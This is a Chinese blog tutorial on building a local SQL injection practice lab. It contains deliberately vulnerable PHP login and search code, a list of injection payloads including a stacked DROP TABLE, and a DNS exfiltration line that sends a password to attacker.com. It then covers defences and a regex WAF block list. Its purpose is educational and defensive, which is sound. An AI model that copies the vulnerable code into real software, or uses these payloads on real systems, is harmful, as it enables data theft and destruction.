云计算百科
云计算领域专业知识百科平台

从零构建SQL注入靶场:实战进阶与深度解析

引言

SQL注入(SQL Injection)作为OWASP Top 10长期存在的安全威胁,至今仍是Web安全领域的核心议题。根据2025年网络安全报告显示,超过40%的Web应用漏洞与SQL注入相关。本博客将通过实战演练,带你从零开始搭建一个贴近真实场景的SQL注入靶场,深入理解攻击原理、掌握防御方法。

本文将基于我近期搭建SQL注入靶场的完整过程,提供详尽的实操指南、工具准备和深入分析。

环境与工具准备

1. 开发环境工具

工具用途下载链接备注
PHPStudy 集成PHP+MySQL环境 phpstudy.net Windows平台推荐,包含Apache/Nginx、MySQL、PHP
TRAE CN 网络代理与抓包工具 trae.cn 国产优秀代理工具,支持HTTP/HTTPS抓包
Navicat Premium 数据库管理工具 navicat.com 图形化数据库管理(可选)
VS Code/Notepad++ 代码编辑器 code.visualstudio.com 任选其一

2. 靶场代码文件

我们将使用"进阶POST注入靶场"版本,该版本模拟真实登录场景,包含多个注入点,适合深入学习。

完整实操手册

第1步:安装与配置PHPStudy

  • 下载安装:访问PHPStudy官网,下载最新版本

  • 安装过程:按照向导完成安装,建议安装路径不含中文和空格

  • 启动服务:

    • 打开PHPStudy控制面板

    • 选择"Apache 2.4.39"和"MySQL 5.7.26"(或更高版本)

    • 点击"启动"按钮,确保两个服务状态显示为绿色"运行中"

  • 第2步:创建数据库与测试数据

    打开MySQL客户端(如PHPStudy命令行或Navicat),执行以下SQL脚本完成数据库初始化:

    — 创建utf8mb4编码的school数据库
    CREATE DATABASE IF NOT EXISTS school DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;

    — 切换至school数据库
    USE school;

    — 创建带约束条件的students表
    CREATE TABLE IF NOT EXISTS students (
    id INT AUTO_INCREMENT PRIMARY KEY,
    student_id VARCHAR(20) NOT NULL UNIQUE,
    name VARCHAR(50) NOT NULL,
    gender ENUM('男', '女') NOT NULL,
    age INT CHECK (age >= 0 AND age <= 150),
    password VARCHAR(255) NOT NULL DEFAULT '123456'
    );

    — 批量插入30条测试数据
    INSERT INTO students (student_id, name, gender, age) VALUES
    ('2023001', '张三', '男', 20),
    ('2023002', '李四', '女', 19),
    ('2023003', '王五', '男', 21),
    ('2023004', '赵六', '男', 22),
    ('2023005', '钱七', '女', 20),
    ('2023006', '孙八', '男', 19),
    ('2023007', '周九', '女', 21),
    ('2023008', '吴十', '男', 20),
    ('2023009', '郑一', '女', 22),
    ('2023010', '王芳', '女', 19),
    ('2023011', '李强', '男', 20),
    ('2023012', '张伟', '男', 21),
    ('2023013', '刘洋', '男', 19),
    ('2023014', '陈静', '女', 22),
    ('2023015', '杨光', '男', 20),
    ('2023016', '黄蓉', '女', 19),
    ('2023017', '林峰', '男', 21),
    ('2023018', '徐婷', '女', 20),
    ('2023019', '朱明', '男', 22),
    ('2023020', '马超', '男', 19),
    ('2023021', '赵敏', '女', 20),
    ('2023022', '周杰', '男', 21),
    ('2023023', '吴倩', '女', 19),
    ('2023024', '郑凯', '男', 22),
    ('2023025', '王磊', '男', 20),
    ('2023026', '孙悦', '女', 21),
    ('2023027', '李娜', '女', 19),
    ('2023028', '张华', '男', 20),
    ('2023029', '刘佳', '女', 22),
    ('2023030', '陈浩', '男', 21);

    — 使用SHA-256加密默认密码
    UPDATE students SET password = SHA2('123456', 256);

    关键设计说明

    数据库采用utf8mb4字符集,支持完整Unicode字符(包括emoji)。表结构包含以下约束:

    • student_id字段设置唯一索引防止重复
    • gender字段使用ENUM类型限制输入值
    • age字段通过CHECK约束限定合理范围
    • 密码字段使用SHA2加密算法存储哈希值

    验证数据

    执行查询语句确认数据完整性:

    SELECT COUNT(*) FROM students; — 应返回30
    SELECT * FROM students LIMIT 5; — 检查前5条数据格式

    第3步:部署靶场代码

  • 找到网站根目录:

    • PHPStudy默认网站根目录:D:\\phpstudy_pro\\WWW\\(根据实际安装路径)

    • 或通过PHPStudy控制面板 → 网站 → 管理 → 打开根目录

  • 创建靶场文件:

    • 在根目录下新建文件:sql_injection_lab.php

    • 将以下"进阶POST注入靶场"代码复制到文件中

  • 第4步:靶场代码详解

    以下是我们使用的进阶POST注入靶场完整代码:

    php

    <?php
    header('Content-Type: text/html; charset=utf-8');

    $db_host = '127.0.0.1';
    $db_user = 'root';
    $db_pass = 'root'; // 注意:根据你的PHPStudy MySQL密码修改
    $db_name = 'school';
    $conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);
    if (!$conn) die("数据库连接失败");

    // 使用POST接收数据(更隐蔽)
    $name = $_POST['name'] ?? '';
    $pwd = $_POST['password'] ?? '';

    // 漏洞1:登录点注入
    if ($name != '' && $pwd != '') {
    // !!! 关键漏洞:直接拼接,密码部分也可注入 !!!
    $sql = "SELECT * FROM students WHERE name='$name' AND password='$pwd'";

    echo "<div style='background:#fff3cd; padding:10px; margin:10px 0; border:1px solid #ffeaa7;'>";
    echo "<strong>调试信息:</strong> SQL = " . htmlspecialchars($sql);
    echo "</div>";

    $result = mysqli_query($conn, $sql);

    if (mysqli_num_rows($result) > 0) {
    $user = mysqli_fetch_assoc($result);
    echo "<h2 style='color:green;'>🎉 登录成功!</h2>";
    echo "<p>欢迎 <strong>{$user['name']}</strong>(学号:{$user['student_id']})</p>";

    // 漏洞2:二次查询漏洞(在已登录状态下)
    $search = $_POST['search'] ?? '';
    if ($search != '') {
    // !!! 另一个注入点:搜索功能 !!!
    $search_sql = "SELECT * FROM students WHERE name LIKE '%$search%' OR student_id LIKE '%$search%'";
    $search_result = mysqli_query($conn, $search_sql);
    echo "<h3>搜索结果:</h3>";
    while ($row = mysqli_fetch_assoc($search_result)) {
    echo "姓名:{$row['name']}, 学号:{$row['student_id']}, 年龄:{$row['age']}<br>";
    }
    }
    } else {
    echo "<h3 style='color:red;'>登录失败</h3>";
    }
    }

    mysqli_close($conn);
    ?>

    <!DOCTYPE html>
    <html>
    <head>
    <title>SQL注入靶场 – 进阶POST版</title>
    <style>
    body { font-family: 'Segoe UI', sans-serif; padding: 40px; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); min-height: 100vh; }
    .container { max-width: 1000px; margin: auto; background: white; padding: 30px; border-radius: 15px; box-shadow: 0 10px 30px rgba(0,0,0,0.2); }
    .form-box { background: #f8f9fa; padding: 25px; border-radius: 10px; margin-bottom: 30px; border-left: 5px solid #6c757d; }
    .injection-box { background: #fff5f5; border: 2px dashed #dc3545; padding: 20px; border-radius: 10px; margin-top: 30px; }
    h1, h2, h3 { color: #343a40; }
    .payload { background: #e9ecef; padding: 8px 12px; border-radius: 5px; font-family: monospace; margin: 5px 0; display: inline-block; }
    </style>
    </head>
    <body>

    <div class="container">
    <h1>🔐 进阶SQL注入靶场</h1>
    <p class="lead">模拟真实登录与搜索场景,包含多个注入点。请尝试利用漏洞获取未授权数据。</p>

    <div class="form-box">
    <h2>登录区域</h2>
    <form method="POST">
    <label>学生姓名:</label><br>
    <input type="text" name="name" size="40" placeholder="例如:张三 或 注入payload"><br><br>

    <label>密码:</label><br>
    <input type="password" name="password" size="40" placeholder="尝试使用注入绕过"><br><br>

    <button type="submit" style="background:#28a745; color:white; padding:10px 20px; border:none; border-radius:5px;">登录</button>
    </form>
    </div>

    <?php if (isset($user)): ?>
    <div class="form-box">
    <h2>🔍 学生信息搜索 (已登录状态)</h2>
    <form method="POST">
    <input type="hidden" name="name" value="<?php echo htmlspecialchars($name); ?>">
    <input type="hidden" name="password" value="<?php echo htmlspecialchars($pwd); ?>">

    <label>搜索学生(按姓名或学号):</label><br>
    <input type="text" name="search" size="50" placeholder="输入姓名或学号,也可尝试注入"><br><br>
    <button type="submit" style="background:#17a2b8; color:white; padding:8px 15px; border:none; border-radius:5px;">搜索</button>
    </form>
    </div>
    <?php endif; ?>

    <div class="injection-box">
    <h3>⚡ 攻击挑战与提示</h3>
    <p><strong>挑战1:</strong>不使用正确密码,以"张三"的身份登录。</p>
    <p><em>提示:</em>尝试在密码框输入:<span class="payload">' OR '1'='1</span></p>

    <p><strong>挑战2:</strong>登录一个不存在的用户(例如"hacker")。</p>
    <p><em>提示:</em>在姓名框输入:<span class="payload">hacker' OR '1'='1</span>,密码任意。</p>

    <p><strong>挑战3(高级):</strong>通过搜索功能,dump出所有学生的学号和姓名。</p>
    <p><em>提示:</em>登录后,在搜索框尝试:<br>
    <span class="payload">' UNION SELECT 1, student_id, name, gender, age, password FROM students — </span></p>

    <p><strong>扩展思考:</strong>如何通过报错注入获取数据库版本信息?</p>
    </div>

    <div style="margin-top:40px; padding:15px; background:#e3f2fd; border-radius:8px;">
    <h4>📚 漏洞原理说明</h4>
    <p>1. <strong>字符串拼接</strong>:程序将用户输入直接拼接到SQL字符串中,未做任何过滤或转义。</p>
    <p>2. <strong>缺少预处理</strong>:未使用<code>mysqli_prepare()</code>或<code>PDO</code>的参数化查询。</p>
    <p>3. <strong>错误信息泄露</strong>:页面显示了原始SQL语句,帮助攻击者调整payload。</p>
    <p>4. <strong>权限过大</strong>:数据库用户权限过高,允许执行UNION、SELECT等操作。</p>
    </div>
    </div>

    </body>
    </html>

    关键点说明:

  • 数据库连接信息需根据实际环境调整(特别是$db_pass)

  • 代码中故意保留了SQL语句回显,方便学习观察攻击过程

  • 包含两个注入点:登录注入和搜索注入

  • 第5步:访问与测试靶场

  • 启动靶场:

    • 确保PHPStudy的Apache和MySQL服务正在运行

    • 打开浏览器,访问:http://localhost/sql_injection_lab.php

  • 测试正常功能:

    • 使用学生姓名(如"张三")和密码"123456"进行登录测试

    • 登录成功后尝试搜索功能

  • 第6步:配置TRAE CN进行流量分析

  • 安装与启动TRAE CN:下载安装后启动

  • 配置代理:

    • 设置浏览器代理为127.0.0.1:8866(TRAE CN默认端口)

    • 或在TRAE CN中启用透明代理

  • 捕获与分析:

    • 在TRAE CN中开始捕获流量

    • 在浏览器中进行SQL注入攻击尝试

    • 观察HTTP请求/响应,分析注入payload的传输过程

  • SQL注入攻击深度解析

    攻击原理剖析

    SQL注入的核心问题在于将用户输入直接拼接到SQL语句中执行。让我们分析靶场中的漏洞代码:

    php

    // 危险代码:直接拼接用户输入
    $sql = "SELECT * FROM students WHERE name='$name' AND password='$pwd'";

    当攻击者输入:

    • 用户名:admin' —

    • 密码:任意值

    生成的SQL语句变为:

    sql

    SELECT * FROM students WHERE name='admin' — ' AND password='任意值'

    –在MySQL中表示单行注释,后续的条件判断被注释掉,从而绕过了密码验证。

    常见注入类型与Payload

    注入类型示例Payload攻击效果
    布尔盲注 ' AND 1=1 — 测试注入点是否存在
    联合查询注入 ' UNION SELECT 1,2,3,4,5 — 获取数据库数据
    报错注入 ' AND updatexml(1,concat(0x7e,(SELECT @@version)),1) — 通过错误信息泄露数据
    时间盲注 ' AND IF(1=1,SLEEP(5),0) — 无回显时的注入手段
    堆叠查询 '; DROP TABLE students; — 执行多条SQL语句(危险)

    实战攻击演示

    挑战1:绕过登录验证

    攻击步骤:

  • 在密码框输入:' OR '1'='1

  • 生成的SQL:SELECT * FROM students WHERE name='张三' AND password='' OR '1'='1'

  • 由于'1'='1'永远为真,成功登录

  • 挑战2:登录不存在的用户

    攻击步骤:

  • 在姓名框输入:hacker' OR '1'='1

  • 密码框输入任意值

  • 生成的SQL:SELECT * FROM students WHERE name='hacker' OR '1'='1' AND password='xxx'

  • 由于OR '1'='1'永真,绕过用户验证

  • 挑战3:通过搜索功能获取所有数据

    攻击步骤:

  • 先使用任意方式登录成功

  • 在搜索框输入:' UNION SELECT 1, student_id, name, gender, age, password FROM students —

  • 通过UNION查询获取所有学生的敏感信息

  • 防御措施与最佳实践

    参数化查询(预处理语句)

    使用预处理语句能有效隔离SQL指令与数据,防止恶意输入被解释为代码。以下为PHP实现示例:

    <?php
    $stmt = $conn->prepare("SELECT * FROM students WHERE name = ? AND password = ?");
    $stmt->bind_param("ss", $name, $pwd); // "ss"表示两个字符串参数
    $stmt->execute();
    $result = $stmt->get_result();
    ?>

    最小权限原则

    数据库账户权限应严格限制,避免过度授权。以下是MySQL权限配置示例:

    — 创建仅具备查询权限的专用账户
    CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'StrongPassword123!';
    GRANT SELECT ON school.students TO 'webapp'@'localhost';

    输入验证与过滤

    采用白名单机制验证输入格式,并配合转义函数作为补充防护:

    <?php
    // 白名单验证(允许字母数字及特定符号)
    function validateInput($input, $pattern = '/^[a-zA-Z0-9_@.\\-]+$/') {
    return preg_match($pattern, $input);
    }

    // 转义特殊字符(需数据库连接对象)
    function escapeInput($input, $conn) {
    return mysqli_real_escape_string($conn, $input);
    }
    ?>

    4. 错误处理与日志记录

    php

    <?php
    // 生产环境关闭错误显示
    ini_set('display_errors', 0);
    ini_set('log_errors', 1);
    ini_set('error_log', '/path/to/php-error.log');

    // 自定义错误处理
    function errorHandler($errno, $errstr, $errfile, $errline) {
    error_log("[SQL安全] $errstr in $errfile on line $errline");
    // 给用户显示通用错误信息,不泄露细节
    echo "系统发生错误,请稍后重试。";
    return true; // 阻止PHP默认错误处理
    }
    set_error_handler("errorHandler");
    ?>

    5. 实施Web应用防火墙(WAF)

    php

    <?php
    // 简单的WAF规则示例
    function simpleWAF($input) {
    $blockedPatterns = [
    '/union\\s+select/i',
    '/select.*from/i',
    '/insert.*into/i',
    '/update.*set/i',
    '/delete.*from/i',
    '/drop\\s+table/i',
    '/–/', // SQL注释
    '/#/', // MySQL注释
    '/\\/\\*.*\\*\\//', // 多行注释
    '/sleep\\(/i',
    '/benchmark\\(/i',
    '/load_file\\(/i',
    '/into\\s+outfile/i',
    '/into\\s+dumpfile/i',
    ];

    foreach ($blockedPatterns as $pattern) {
    if (preg_match($pattern, $input)) {
    // 记录攻击尝试
    error_log("潜在SQL注入攻击检测: " . substr($input, 0, 100));
    return false; // 阻止请求
    }
    }
    return true;
    }
    ?>

    靶场进阶实验

    实验1:布尔盲注实践

    尝试在不使用UNION查询的情况下,通过布尔条件判断获取数据:

    sql

    — 判断数据库名称长度
    ' AND LENGTH(DATABASE()) > 5 —

    — 逐字符猜解数据库名
    ' AND SUBSTRING(DATABASE(), 1, 1) = 's' —

    实验2:时间盲注实践

    sql

    — 如果数据库名第一个字符是's',则延迟5秒
    ' AND IF(SUBSTRING(DATABASE(), 1, 1) = 's', SLEEP(5), 0) —

    实验3:利用DNS外带数据

    在允许的情况下,通过DNS查询外带数据:

    sql

    — 将查询结果通过DNS请求外带
    ' AND LOAD_FILE(CONCAT('\\\\\\\\', (SELECT password FROM students LIMIT 1), '.attacker.com\\\\test.txt')) —

    总结与扩展

    通过本靶场的搭建与实践,我们深入理解了:

  • SQL注入的产生原理:用户输入未经处理直接拼接到SQL语句

  • 攻击技术的演进:从简单绕过到盲注、时间注入等高级技术

  • 防御策略的层次化:从输入验证到参数化查询的多层防护

  • 扩展学习资源

  • OWASP SQL注入预防指南:https://cheatsheetseries.owapis.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

  • SQL注入实战靶场:

    • PortSwigger Web Security Academy:https://portswigger.net/web-security/sql-injection

    • SQLi Labs:https://github.com/Audi-1/sqli-labs

  • 自动化检测工具:

    • SQLMap:http://sqlmap.org/

    • Burp Suite:https://portswigger.net/burp

  • 后续学习建议

  • 尝试搭建不同类型的SQL注入靶场(盲注、报错注入等)

  • 学习使用SQLMap等自动化工具进行渗透测试

  • 研究ORM框架(如Eloquent、Doctrine)如何防止SQL注入

  • 了解NoSQL注入(如MongoDB注入)与SQL注入的异同

  • 免责声明

    重要:本教程仅供教育学习和合法安全测试使用。请务必遵守以下原则:

  • 仅在你拥有完全权限的系统上进行测试

  • 不要对任何未授权的系统进行安全测试

  • 遵守当地法律法规和道德准则

  • 将所学知识用于系统加固和安全防护

  • 通过本文的学习,你应该已经掌握了SQL注入的基本原理、攻击技术和防御方法。安全是一个持续的过程,不断学习、实践和分享是提升安全能力的关键。祝你在网络安全的学习道路上不断进步!


     

    赞(0)
    未经允许不得转载:网硕互联帮助中心 » 从零构建SQL注入靶场:实战进阶与深度解析
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!